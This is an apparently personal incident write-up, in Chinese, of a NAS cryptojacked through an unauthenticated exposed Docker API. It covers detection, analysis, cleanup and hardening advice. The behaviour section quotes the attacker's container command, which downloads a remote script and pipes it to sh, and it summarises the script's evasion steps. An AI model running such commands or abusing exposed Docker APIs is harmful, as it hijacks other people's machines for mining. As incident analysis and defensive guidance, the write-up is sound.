NAS 中了挖矿病毒,记录一次有趣的 docker 挖矿病毒事故

NAS 中了挖矿病毒,记录一次有趣的 docker 挖矿病毒事故
最新回答
渺小的秘密

2024-02-11 19:56:37

记录一次因 Docker API 暴露导致的 NAS 挖矿病毒入侵事故,病毒通过未鉴权的 Docker API 部署恶意容器,最终通过清理容器和全盘扫描解决问题。以下是详细过程与分析:

事故起因:CPU 异常飙升
  • 用户打开 NAS 时发现 CPU 使用率飙升至 80%,远高于日常 30% 的水平,察觉异常后立即展开排查。
  • 通过 NAS 设备监控发现名为 kdevtmpfsi 的进程占用极高 CPU 资源,初步判断为挖矿病毒。

病毒来源分析:Redis 相关?实际指向 Docker
  • 查询 kdevtmpfsi 特性,得知其通常通过 Redis 弱口令或未鉴权 感染 Linux 设备,但用户确认 NAS 未部署 Redis 服务。
  • 进一步排查发现一个陌生 Docker 容器,使用 Ubuntu 镜像且 CPU 使用率达 800%,明显异常。

病毒行为追踪:自动拉取镜像并启动容器
  • 检查 NAS 日志发现,病毒在半夜自动拉取 Ubuntu 镜像并启动容器。
  • 容器配置中包含一条 CMD 指令,内容如下:apt-get update && apt-get install -y wget cron; service cron start; wget -q -O - 某个国外IP/d.sh | sh; tail -f /dev/null

    该指令会更新系统包、安装 wget 和 cron,然后从国外 IP 下载脚本 d.sh 并执行,最后保持容器运行。

脚本内容分析:恶意行为全解析
  • 将脚本提交给 AI 分析,揭示其恶意行为:

    安全措施:删除日志、关闭防火墙、禁用性能监控,以隐藏自身痕迹。

    竞争排除:终止其他挖矿进程,确保自身独占资源。

    云防护绕过:针对阿里云等国内云平台的防护机制进行破坏,表明攻击者可能为国人且主要扫描阿里云 IP。

    挖矿目标:挖掘门罗币(Monero),一种注重隐私的加密货币。

容器配置检查:未挂载宿主机目录
  • 使用 docker inspect container_id 检查容器详情,确认以下关键配置:

    未开启特权模式:Privileged: false,限制容器对宿主机的权限。

    未挂载宿主机目录:Binds: null,防止病毒扩散至宿主机。

    无敏感权限:CapAdd: null,未添加额外 Linux 能力。

  • 容器仅通过 docker volume 运行,病毒文件和进程均局限于容器内部。
清理与查杀:彻底消除病毒
  1. 停止并删除容器

    停止异常容器后,CPU 使用率恢复正常。

    删除容器及关联卷,防止残留文件。

  2. 全盘扫描

    使用 NAS 自带的病毒查杀功能进行全盘扫描,确保无遗漏。

事故根源:Docker API 暴露
  • 直接原因:阿里云安全组策略中 Docker API(2375 端口)未关闭,且 NAS 的 Docker Socket Proxy 未禁用。
  • 攻击路径

    攻击者扫描到开放的 Docker API。

    通过 API 直接部署恶意容器至 NAS。

    容器内挖矿病毒运行并尝试扩散。

  • 安全漏洞

    Docker API 默认无鉴权机制,暴露后极易被利用。

    测试环境未集成 API Hub 或添加 IP 白名单,缺乏基本防护。

总结与警示
  • 幸运点:病毒仅限于容器层面攻击,未挂载宿主机目录,否则需重装 NAS 系统。
  • 安全建议

    关闭不必要的端口:尤其是 Docker API(2375/2376),避免暴露至公网。

    启用鉴权机制:通过 TLS 加密和认证保护 Docker API。

    限制容器权限:避免使用特权模式,谨慎挂载宿主机目录。

    定期更新与扫描:保持系统和软件更新,使用可靠杀毒工具全盘扫描。

    提高安全意识:公网访问需谨慎,开发环境与生产环境隔离。

警钟长鸣:NAS 公网便利性与安全性需平衡,爱折腾的博主更需注重细节防护!